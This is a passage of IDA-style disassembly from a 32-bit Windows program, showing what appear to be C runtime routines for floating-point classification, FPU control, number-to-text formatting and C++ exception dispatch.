		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D458
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D458
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D464
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	near ptr 269058Bh
		nop
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26B031Ch
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D0D4, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CEC8
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D0D8
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D0D8
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D480o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBEAC, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBEA8
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D0D8
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBEAC, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h


loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh


loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx


loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl


loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBEAC, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBEB0
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBEA8
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------


loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h


loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]


loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------


loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax


loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D0D8
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBEAC, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------


loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441


loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi


loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h


loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBEA8, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBEB0, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBEA8
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBEB0, ecx
		setl	cl
		mov	byte_4DBEB4, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBEB0, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2


loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al


loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------


loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h


loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBEAC, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBEAC, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBEAC, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBEAC, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------


loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279


loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi


loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52


loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------


loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------


loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h


loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax


loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676


loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52


loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBEB8
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBEBC
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52


loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52


loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax


loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA


loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777


loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758


loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------


loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
